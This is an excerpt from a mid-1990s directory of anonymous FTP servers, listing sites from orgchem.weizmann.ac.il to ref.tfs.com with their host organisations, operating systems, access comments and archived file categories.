ftp://orgchem.weizmann.ac.il/ +Comment: this site mirrors: freebsd.cdrom.com, freefall.cdrom.com, ftp.x.org, + ftp.xfree86.org +Files : Andrew 6.3 sources; docs; DOS-NFS; DOS tools; FreeBSD + (freebsd.cdrom.com, freefall.cdrom.com); packages; WINE; X11R6 + (ftp.x.org); XFree86 (mirror of ftp.xfree86.org) + +Site : orion.arc.nasa.gov +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://orion.arc.nasa.gov/ +Comment: +Files : + +Site : orlith.bates.edu +Country: +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (4.3BSD) +URL : ftp://orlith.bates.edu/ +Comment: All files are in /pub/mud +Files : Mud related + +Site : osi.ncsl.nist.gov +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : National Institute for Standards and Technology, Gaithersburg, + Maryland, Computer Security (NCSL) +Server : +System : Unix (SunOS 4.1) +URL : ftp://osi.ncsl.nist.gov/ +Comment: +Files : misc OSI info + +Site : oswego.oswego.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : oswego-gw.oswego.edu +Admin : +Organ : State University of New York - Oswego, Oswego, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://oswego.oswego.edu/ +Comment: +Files : GNU; Mac; Kermit + +Site : otax.tky.hut.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : Unix (SunOS 4.1) +URL : ftp://otax.tky.hut.fi/ +Comment: +Files : Mikkar accounting program + +Site : ouchem.chem.oakland.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Oakland University, Rochester, Michigan, Chemistry dept. +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ouchem.chem.oakland.edu/ +Comment: +Files : + +Site : oxy.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : gate.oxy.edu +Admin : +Organ : +Server : +System : Unix (SunOS 4.0) +URL : ftp://oxy.edu/ +Comment: +Files : + +Site : pacific.mps.ohio-state.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Ohio State University, , Ohio +Server : +System : Unix +URL : ftp://pacific.mps.ohio-state.edu/ +Comment: no gifs here +Files : dcmp (teX macros for preparing DCMP invited talks); dvi3ps (merging + of many dvi2ps versions); gentle-tex (intro to TeX crossref. with + TeXbook); facilities-guide (configurable user guide for Unix, VMS, + TOPS-20, Mac, PC); dvidj (dvi to HP Deskjet); LabanWriter (tool + for doing Laban (dance) notation) + +Site : panda.uiowa.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : chop.isca.uiowa.edu +Admin : +Organ : University of Iowa, , Iowa, Iowa Student Computer Association +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://panda.uiowa.edu/ +Comment: +Files : bbs-client; Panda (contrib, distrib) + +Site : panda1.uottawa.ca +Country: Canada +GMT : -5 +Date : 29-Sep-94 +Source : ftp.nic.surfnet.nl +Alias : +Admin : +Organ : University of Ottawa, Ottawa, Ontario +Server : +System : Unix (SunOS 4.1) +URL : ftp://panda1.uottawa.ca/ +Comment: +Files : accord; bike; CCS; const-proposal; csi4110; E-mail; encoding; + gopher; Mac; macuo; net; news; Novell; OUCC; OUCCIT; packet; PC; + religion; storm; ttn; UofO Phonebook + +Site : papilio.ucsc.edu +Country: USA +GMT : -8 +Date : 29-Sep-94 +Source : ludwig@orchid.ucsc.edu (Bob Ludwig) +Alias : +Admin : +Organ : University of California - Santa Cruz, Santa Cruz, California, + Sinsheimer Laboratories +Server : +System : Unix (SunOS 4.1) +URL : ftp://papilio.ucsc.edu/ +Comment: +Files : docs; images; Mac; molbio; PC; ribbon; Unix + +Site : par.cc.gatech.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Georgia Tech, Atlanta, Georgia, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://par.cc.gatech.edu/ +Comment: +Files : graphics related programs and files; xtango + +Site : paul.rutgers.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : +URL : ftp://paul.rutgers.edu/ +Comment: +Files : Omega + +SIte : pc.usl.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : jpd@usl.edu (Dugal James); old ftp-list +Alias : +Admin : ftp@pc.usl.edu +Organ : University of Southwestern Louisiana, Lafayette, Louisiana +Server : Amateur Radio callsign server ... telnet to port 2000 +System : OSx (Pyramid 90X) +URL : ftp://pc.usl.edu/ +Comment: please do not transfer large files during 08:00-18:00; Note: + IP-TTL is 30 +Files : alt.os.multics archives; Jnos ham tcp/ip package + +Site : pcdos.bocaraton.ibm.com +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : ian@isis.demon.co.uk (Ian Smith) {posting} +Alias : +Admin : +Organ : IBM, Boca Raton, Florida, PCDOS 6.1 to 6.3 stepup + service +Server : +System : Unix +URL : ftp://pcdos.bocaraton.ibm.com/ +Comment: dir: PCDOS613 + contains several language specific versions +Files : AIXinfo; AIXutils; PC DOS 6.1 to 6.3 stepup + +Site : pds.nchu.edu.tw +Country: Taiwan +GMT : +8 +Date : 15-Dec-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : +Admin : root@pds.nchu.edu.tw +Organ : National Chung Hsing University, Taiwan +Server : +System : Unix (Ultrix 4.2A, DEC) +URL : ftp://pds.nchu.edu.tw/ +Comment: +Files : ASCII-art; CCCA; demo; FreeBSD; Linux (Slackware); NCHU; NUPOP; PC; + Perl; Unix; WWFS + +Site : pssbn.astro.umd.edu +Country: USA +GMT : -5 +Date : 30-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : icarus.astro.umd.edu, pdssbn.astro.umd.edu +Admin : +Organ : University of Maryland, , Maryland, Astro dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://pssbn.astro.umd.edu/ +Comment: +Files : appulses; encounter92; epehemeris; observations; papers; + predictions; Shoemaker-Levy 9 (SL9) images; standards + +Site : pemrac.space.swri.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://pemrac.space.swri.edu/ +Comment: +Files : convex users group + +Site : penninfo.upenn.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : nisc2.upenn.edu +Admin : +Organ : University of Pennsylvania, , Pennsylvania +Server : +System : Unix (Ultrix 4.1) +URL : ftp://penninfo.upenn.edu/ +Comment: +Files : Penninfo; pips + +Site : peoplesparc.berkeley.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://peoplesparc.berkeley.edu/ +Comment: +Files : + +Site : perelandra.cms.udel.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : root@perelandra.cms.udel.edu +Organ : University of Delaware, , Delaware, College of Marine Studies +Server : WWW +System : Unix +URL : ftp://perelandra.cms.udel.edu/ +Comment: the pub directory has been cleaned because most of the codes are + officially maintained elsewhere, only codes that are not officially + maintained elsewhere or which are not easy available by ftp are + left in pub; 'dl' descriptive ls program removed because of problems + with WWW software, descriptive info in FILES files +Files : benchmark codes, results; graphics; lang; math; sci.geo.fluids + archive: codes, docs + +Site : perutz.scripps.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : +Alias : +Admin : mp@scripps.edu (Michael Pique) +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://perutz.scripps.edu/ +Comment: +Files : flex; packages; xfit; xview + +Site : pgd.adp.wisc.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin +Server : +System : +URL : ftp://pgd.adp.wisc.edu/ +Comment: +Files : + +Site : phast.phys.washington.edu +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : VAX Software List +Alias : dirac.phys.washington.edu +Admin : +Organ : University of Washington, Seattle, Washington, Physics dept. +Server : +System : Unix (4.3BSD Tahoe) +URL : ftp://phast.phys.washington.edu/ +Comment: Problem: can't change to directory /usr/spool/ftp +Files : VMS software + +Site : phil.utmb.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : University of Texas - Galveston, Galveston, Texas, Medical Branch +Server : +System : Unix +URL : ftp://phil.utmb.edu/ +Comment: +Files : c-advisories; clippings; cops; info; network tools; Virus-L; + (anti)virus-software + +Site : phoenix.ocf.llnl.gov +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : Unix +URL : ftp://phoenix.ocf.llnl.gov/ +Comment: +Files : Bonnie; castor; CGM files; cmmtiff; edsems; fcip; GPHIGS 2.0; + GRAFCORE; llnxftp; meikodoc; mppbench; NCAR; pact; ptools; tapes + +Site : phys-pc61.med.unc.edu +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : faith@cs.unc.edu (Rik Faith) {posting} +Alias : +Admin : linux-bogus@cs.unc.edu +Organ : University of North Carolina, Chapell Hill, North Carolina +Server : +System : Unix +URL : ftp://phys-pc61.med.unc.edu/ +Comment: ONLY AVAILABLE FROM 2000 UNTIL 0800 EST (GMT -5); max. 3 users; + mirrored on ftp.cps.cmich.edu (/pub/Linux/packages/bogus), + ftp.gwdg.de (/pub/linux/bogus), ftp.nvg.unit.no (/pub/linux/bogus + Scandinavia only) +Files : Linux (BOGUS release) + +Site : piaget.futuro.usp.br +Country: Brazil +GMT : -3 +Date : 19-Feb-95 +Source : harrier@piaget.futuro.usp.br {posting} +Alias : +Admin : +Organ : Universidade de Sao Paulo (University of Sao Paulo), Sao Paulo +Server : +System : Unix (Linux, PC) +URL : ftp://piaget.futuro.usp.br/ +Comment: slow connection +Files : cdrom; estereogramma; harrier (dicas, FAQ, fun); ibdccort; Linux (BBS, Linux, packages); Mac; McAfee; outros; + telematica (biogas, ecologia, energia, fastplant) + +Site : pilot.njin.net +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : NJIN +Server : +System : Unix +URL : ftp://pilot.njin.net/ +Comment: +Files : networking info; docs on all kinds of things + +Site : pine.circa.ufl.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Florida, , Florida +Server : +System : VAX/VMS +URL : ftp://pine.circa.ufl.edu/ +Comment: default directory: SYS$SYSDEVICE:[PUB] +Files : Bitnet; DEC; docs; Internet; Internet Worm reports; Linguistics; + PC; RFCs; robfit + +Site : pines.hsu.edu +Country: USA +GMT : -6 +Date : 22-May-94 +Source : +Alias : +Admin : +Organ : H. State University +Server : +System : Unix +URL : ftp://pines.hsu.edu/ +Comment: +Files : HSU; Indian [American-Indian that is] related files; mailp + +Site : pinguin.ipk.fhg.de +Country: Germany +GMT : +1 +Date : 22-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://pinguin.ipk.fhg.de/ +Comment: pub is a temporarily mounted directory, I'm not sure if I should + list this one +Files : networking info: CCITT, old ftp-list + +Site : pion.lcs.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : Unix +URL : ftp://pion.lcs.mit.edu/ +Comment: +Files : + +Site : pitt.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Pittsburgh, Pittsburgh, Pennsylvania +Server : +System : Unix +URL : ftp://pitt.edu/ +Comment: +Files : local nameserver source; local decnet database; National Institute + of Health Guide Online; RFCs; local network docs + +Site : pittslug.sug.org +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Sun User's Group - Pittsburgh Area, Pittsburgh, Pennsylvania +Server : +System : +URL : ftp://pittslug.sug.org/ +Comment: +Files : + +Site : plains.nodak.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://plains.nodak.edu/ +Comment: +Files : Apple; MSDOS; Mac; Amiga; ASCII pics; comp.sys.handhelds; + list archives + +Site : plearn.edu.pl +Country: Poland +GMT : +1 +Date : 12-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : PLEARN (Polish part of EARN), Warsaw +Server : +System : VM/CMS +URL : ftp://plearn.edu.pl/ +Comment: no password needed, but you need to 'CD ANONYMOUS' before you can + see any files +Files : some tex files (BLATEX, LATEXDOC, TEX1, TEX2) + +Site : plg.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix (System V Release 4.0) +URL : ftp://plg.uwaterloo.ca/ +Comment: +Files : AIN; dmake; dmc; docs; mag; siod; sml-93; smlweb; uDatabase; + uSystem; verdect-sml; watML; WIN + +Site : plod.cbme.unsw.edu.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : troy@cbme.unsw.edu.au (Troy Rollo) {posting} +Alias : mr_plod.cbme.unsw.edu.au +Admin : +Organ : University of New South Wales, Sydney, New South Wales, CBME +Server : +System : Unix +URL : ftp://plot.cbme.unsw.edu.au/ +Comment: +Files : Apollo; imagecyt; imagesoft; tkern; TwinSock + +Site : pluto.njcc.com +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : bkramer@pluto.njcc.com (Brian Kramer) {posting} +Alias : +Admin : root@pluto.njcc.com +Organ : New Jersey Computer Connection, Lawrenceville, New Jersey +Server : gopher, www +System : Unix +URL : ftp://pluto.njcc.com/ +Comment: server can compress and tar; BBSFAQ in /pub/bbsfaq (maintainer: + claire@pluto.njcc.com); Brad Murray's shareware in /pub/bmurray + (maintainer: bmurray@pluto.njcc.com) +Files : BBS FAQ; Brad Murray's shareware + +Site : pobox.cscs.ch +Country: Switzerland +GMT : +1 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : CSCS +Server : +System : Unix (SunOS 4.1) +URL : ftp://pobox.cscs.ch/ +Comment: +Files : AI; bench; CSCS; graphics; SeRD + +Site : polaris.cognet.ucla.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Los Angeles, Los Angeles, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://polaris.cognet.ucla.edu/ +Comment: +Files : artificial life + +Site : polaris.llnl.gov +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : Unix +URL : ftp://polaris.llnl.gov/ +Comment: +Files : alt.archives; RFC + +Site : polaris.utu.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : polaris.cc.utu.fi, utu.fi +Admin : +Organ : University of Turku, Turku +Server : +System : Unix +URL : ftp://polaris.utu.fi/ +Comment: Limit of 80 users; retrieving of top-level README possible + before logon; bandwidth limited; special access feature: see README +Files : CLU sources + +Site : poli.edu.ec +Country: Ecuador +GMT : -7 +Date : 10-Sep-94 +Source : +Alias : +Admin : +Organ : +Server : +System : (NEWT 3.01) [weird system] +URL : ftp://poli.edu.ec/ +Comment: [maybe somebody left this site open by accident] +Files : NDI distribution files + +Site : polyslo.calpoly.edu +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : California Polytechnical Institute, , California +Server : +System : Unix +URL : ftp://polyslo.calpoly.edu/ +Comment: ftp-list (old) +Files : anime (Japanese animation); crow (From the Crow's nest Newsletter); + GA scheduler; hgi (Hitch Hiker's Guide to the Internet); magic + (Magic The Gathering price list); mdurkin (PC Shareware); NeXT + (Graphics Workshop for a NeXT); ocr (PD Optical Character + Recognition software); ood_and_i; RFCs; tech-reports; xglib + +Site : pomona.claremont.edu +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : old ftp-list +Alias : +Admin : +Organ : Claremont College +Server : +System : VAX/VMS running Multinet +URL : ftp://pomona.claremont.edu/ +Comment: default directory: UTIL:[ANONYMOUS] +Files : Astro; bikes; Disney; games; graphics; HPGL2PS; planes; Pomona + College Today; utils; VMS; xloadimage; Yale Bright Star catalogue + +Site : post.its.mcw.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://post.its.mcw.edu/ +Comment: successor of mis1.mis.mcw.edu +Files : DECUS UUCP; ANU-news + +Site : pprg.eece.unm.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : ftp@pprg.eece.unm.edu +Organ : University of New Mexico, Albuquerque, New Mexico +Server : +System : Unix +URL : ftp://pprg.eece.unm.edu/ +Comment: Problem: host not reachable +Files : + +Site : prep.ai.mit.edu +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : VAX software list +Alias : ftp.gnu.ai.mit.edu, aeneas.mit.edu +Admin : gnu@prep.ai.mit.edu, root@aeneas.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + AI Lab. +Server : +System : Unix +URL : ftp://prep.ai.mit.edu/ +Comment: Limit of 60 users +Files : ACS; Athena; GNU (primary site: this stuff is mirrored around the + world i.e. at ftp.wustl.edu, ftp.uu.net, gatekeeper.dec.com, + ftp.funet.fi); kerberos; lpf; palladium; palladium2; virus; XNeXT + +Site : primost.cs.wisc.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, CS dept. +Server : +System : Unix +URL : ftp://primost.cs.wisc.edu/ +Comment: +Files : comp.compilers + +Site : princeton.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : grweiss@phoenix.princeton.edu (Gregory R. Weiss); old ftp-list +Alias : ftp.princeton.edu +Admin : ftp@princeton.edu +Organ : Princeton University +Server : +System : Unix +URL : ftp://princeton.edu/ +Comment: if you're on an IBM mainframe and are having problems connecting + try executing 'term chardel off' and reconnecting to princeton.edu; + loose files in /pub incl. Maastricht.Treaty.tar.Z, these might be + interesting; noweb and spiderweb have moved [where? read the files] +Files : aabd; amr; Apogee; ASD; Atlas1; BBS; benchmarks; Bicycles; + Bioethics; Bitnet; bpw; BT; cwisp; diku; diver; draine; EDV; fort; + fusion; Graphics; hk; hosts (info on Internet and Princeton Hosts); + iams; IRC; katak; lcc; libmast; Maastricht Treaty; ml; morph; + Mosaic; mp-render; MS-DOS; MUMBLE; music; netchat; Networking Tools; + ntalk; Oberon; PC anti-virus; PC ann; PC gopher; pnn; + rec.music.a-cappella; sendmail; sendmail.satellite; SGI fixes; srk; + standard ML; Sun; Sun-fixes; t2demo; trees; USGS; uw; vfs; Video; + virus; Web; Whitney-Graustein; wolf; xtank; xtetris; yoga; yugo; + zsh; zxx + +Site : prism.nmt.edu +Country: USA +GMT : -7 +Date : 19-Feb-95 +Source : +Alias : +Admin : dragon@lair.nmt.edu (Dave Michaels) +Organ : New Mexico Tech, , New Mexico +Server : +System : Unix (SunOS 4.1) +URL : ftp://prism.nmt.edu/ +Comment: uploads to incoming and send mail to admin; do NOT upload + copyrighted stuff! +Files : flowers; graphics (animals, art, ascii, dragons, movies, music, nmt, + people, viewers, weather); Linux (Slackware); Mac; NMT; PC; sounds; + WWW + +Site : prospero.isi.edu +Country: USA +GMT : -8 +Date : 25-Jan-94 +Source : +Alias : gum.isi.edu +Admin : +Organ : University of Southern California, , California, + Information Sciences Institute (ISI), Prospero/MEMS FTP server +Server : +System : Unix +URL : ftp://prospero.isi.edu/ +Comment: +Files : aac; Micromechanics Clearinghouse (MEMS); netcheque; papers; + Prospero; Prospero Resource Manager (PRM) + +Site : proton.chem.yale.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : dcs@proton.chem.yale.edu (Dave Schweisguth) {faq-maintainers list} +Alias : +Admin : root@proton.chem.yale.edu +Organ : Yale University, New Haven, Connecticut, Chemistry dept., + Moore's Group +Server : +System : Unix +URL : ftp://proton.chem.yale.edu/ +Comment: +Files : nmr; passwd2html; sgi-faq (make_faq); tn3270 + +Site : psupen.psu.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : +Alias : psupena.psu.edu +Admin : +Organ : Pennsylvania State University, , Pennsylvania +Server : +System : VAX/VMS running Multinet +URL : ftp://psupen.psu.edu/ +Comment: default directory: DIR$PUBLIC:[ANONYMOUS]; [not very useful I guess] +Files : kws.dat + +Site : pt.cs.cmu.edu +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://pt.cs.cmu.edu/ +Comment: filenames cannot begin with "/.."; user anon logged in; appears + empty +Files : zhm.pid + +Site : pub.vse.cz +Country: Czech Republic +GMT : +1 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : +Admin : ftp-admin@vse.cz +Organ : Prague University of Economics, Prague +Server : +System : Unix +URL : ftp://pub.vse.cz/ +Comment: all commands are logged; do not complain about number of users and + other restrictions +Files : 386-unix (linux, sunsite.unc.edu); Amiga; docs; EUnet; exports; GNU; + Mac; mice; misc; MS-DOS (DOSLynx, Charon, CUTCP, Dmenu, McAfee, + mirror of ftp.cica.indiana.edu, Pmail, programs from VSE, SimTel + Sofware Repository; network (dial-up-ip, gopher, isode, lynx, mail, + mbone, Mosaic, netwire, news, Novell, PC-Mosaic, security, snmp, + time, tools, wais, www, x500, Xtools); TeX; Unix (editors, + languages, shells, system); vendor (Cisco, SCO, Sun); VSE (diplomky, + i-servis, logos, marketing, pmail, vseved, vyuka); Windows3 (fax); X + +Site : public.tgv.com +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : VAX Software List +Alias : dr-salk.tgv.com +Admin : +Organ : TGV, Santa Cruz, California +Server : +System : VAX/VMS running MultiNet +URL : ftp://public.tgv.com/ +Comment: default directory: ALTUSERS:[ANONYMOUS.PUBLIC] +Files : bakeoff; busma; dns-templates; fts; garlough; GIFs; gkn; HPLJ3SI; + Kerberos; key; press-releases; sam; VAX professional; Wing + +Site : publications.ai.mit.edu +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : gnu.ai.mit.edu +Alias : count-chocula.ai.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + AI Lab. +Server : +System : Unix +URL : ftp://publications.ai.mit.edu/ +Comment: /bibliographies contains a list of publications; articles are sorted + by year and number; also available through the WWW +Files : Artificial Intelligence Laboratory publications + +Site : pucp.edu.pe +Country: Peru +GMT : -7 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Pontifica Universidad Catolica del Peru (Catholic University of Peru) +Server : +System : Unix +URL : ftp://pucp.edu.pe/ +Comment: +Files : lib; gopher + +Site : puppsr.princeton.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : old ftp-list +Alias : puppsr12.princeton.edu, pulsar.princeton.edu +Admin : +Organ : Princeton University +Server : +System : Unix +URL : ftp://puppsr.princeton.edu/ +Comment: +Files : catalog; docs; profs; toa; tpo.vax + +Site : pusun3.princeton.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Princeton University +Server : +System : Unix (SunOS 4.1) +URL : ftp://pusun3.princeton.edu/ +Comment: [looks like a Mac site]; directory: /user/vendomac +Files : com; DOS; EtherTalk; PC; stacks; utilities; VGAGIF; vis + +Site : pyrite.rutgers.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://pyrite.rutgers.edu/ +Comment: +Files : Security mailing list archives + +Site : qed.econ.queensu.ca +Country: Canada +GMT : -5 +Date : 30-Oct-94 +Source : eddelbud@qed.econ.queensu.ca (Dirk Eddelbuettel) {posting} +Alias : +Admin : +Organ : Queen's University, Kingston, Ontario, Economics dept. +Server : +System : Unix +URL : ftp://qed.econ.queensu.ca/ +Comment: /pub/dm-book +Files : economics; Estimation and Inference in Econometrics errata; MS-DOS; + telmerco; uroot + +Site : qed.rice.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rice University, Houston, Texas +Server : +System : +URL : ftp://qed.rice.edu/ +Comment: Problem: I/O error on network device +Files : GNU; X11R3; plot2ps sources + +Site : qiclab.scn.rain.com +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : Archive-name: games/roguelike; old ftp-list +Alias : +Admin : root@qiclab.scn.rain.com +Organ : Research And Info Network +Server : +System : Unix +URL : ftp://qiclab.scn.rain.com/ +Comment: index file: ls-LR.Z +Files : astronomy; bench; calculators; cdrom; cisco; cygnus; database; docs; + games; GNU; graphics; mail; math; misc (huge); multimedia; music; + network; NeWS; pas-lovers; pinecone; PostScript; programming; rea; + RFC; security; shells; simulation; Solaris; Sun; SunOS-patches; + sysadmin; text; ucb; vlsi; wordlists; X11; xview + +Site : quanta.eng.ohio-state.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : Ohio State University, , Ohio, Engineering dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://quanta.eng.ohio-state.edu/ +Comment: +Files : 880; color; ee-grad-info; graduate-studies; images; ISI; lego; + NeuralShell; robotics; spann; vision + +Site : quartz.rutgers.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : old ftp-list +Alias : +Admin : bbs@quartz.rutgers.edu +Organ : Rutgers University, Piscataway, New Jersey +Server : gopher +System : Unix +URL : ftp://quartz.rutgers.edu/ +Comment: transfers are logged; uploads to /incoming; server can (de)compress, + g(un)zip +Files : baseball; books; citadel; computer; cyberculture; disney; economics; + etext; folklore; food; Humor archive (Monty Python scripts, Blonde + Jokes and the like); images; internet; jargon; journals; law; music; + nyc; occult; origworks; pets; purity; puzzles; quartz; railfan; + scitech; sex; subgenius; television; theater; tv+movies; Wired + +Site : ra.nrl.navy.mil +Country: USA +GMT : +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : U.S. Navy - Navy Research Labs (NRL) [?] +Server : +System : Unix (SunOS 4.1) +URL : ftp://ra.nrl.navy.mil/ +Comment: +Files : ai; astro; bibliography; biology; chem; comm; comp.sys.mac.scitech; + dataAcq; demos; dsp; ElecEng; engAnalysis; geology; graphing; help; + imaging; info; Internet; logos; MacSciTech; materialsSci; math; + NRLWHOIS; optics; physics; programming; psychology; rcd; SEAM92; + SEAM93; seam93input; SGI; Sun; virus; visualization + +Site : rana.cc.deakin.oz.au +Country: Australia +GMT : +10 +Date : 19-Apr-94 +Source : +Alias : rana.cc.deakin.edu.au +Admin : +Organ : Deakin University, , , CC +Server : +System : Unix (System V Release 4.0) +URL : ftp://rana.cc.deakin.oz.au/ +Comment: descriptive directory listing, see AAAREADME +Files : colorPS; cyborg; describe; footypac; interview with John Kricfalusi; + library; netinfo; netschools; PC NFS; pics; packetdrivers; PPP; SNM; + VMS tar; winsock + +Site : rand.org +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://rand.org/ +Comment: +Files : some Esperanto + +Site : rascal.ics.utexas.edu +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : old ftp-list +Alias : rascal; +Admin : +Organ : University of Texas - Austin, Austin, Texas, ICS +Server : +System : Unix (SunOS 4.1) +URL : ftp://rascal.ics.utexas.edu/ +Comment: loose files in /pub; see /misc too +Files : AKCL (full common lisp implementation); KCL; Mac; maxima; Motif-X + based news & Pasadena subs service; NeXT; nqthm; proof-checker; + research papers on electronic information; sakthi; TeX; thm; Unix; + vcg; wfs; yu + +Site : rata.vuw.ac.nz +Country: New Zealand +GMT : +12 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://rata.vuw.ac.nz/ +Comment: +Files : Mac; Sun; Robodoc + +Site : redback.cs.uwa.edu.au +Country: Australia +GMT : +8 +Date : 25-Jan-95 +Source : +Alias : +Admin : MacDev@cs.uwa.edu.au +Organ : University of Western Australia, , , CS dept. +Server : +System : Unix +URL : ftp://redback.cs.uwa.edu.au/ +Comment: if you're using a non-Mac ftp client or are logging in for the first + time it is vital that you read /ComSci/ReadMeAboutRedback +Files : ComSci (bookings, FrontLineOrwell, LabMaster, Likewise, + ScriptReader); Others (people's pub dirs) + +Site : ref.tfs.com +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : ftp.xfree86.org +Alias : +Admin : root@ref.tfs.com +Organ : TRW Financial Systems (TFS) +Server : +System : Unix (FreeBSD 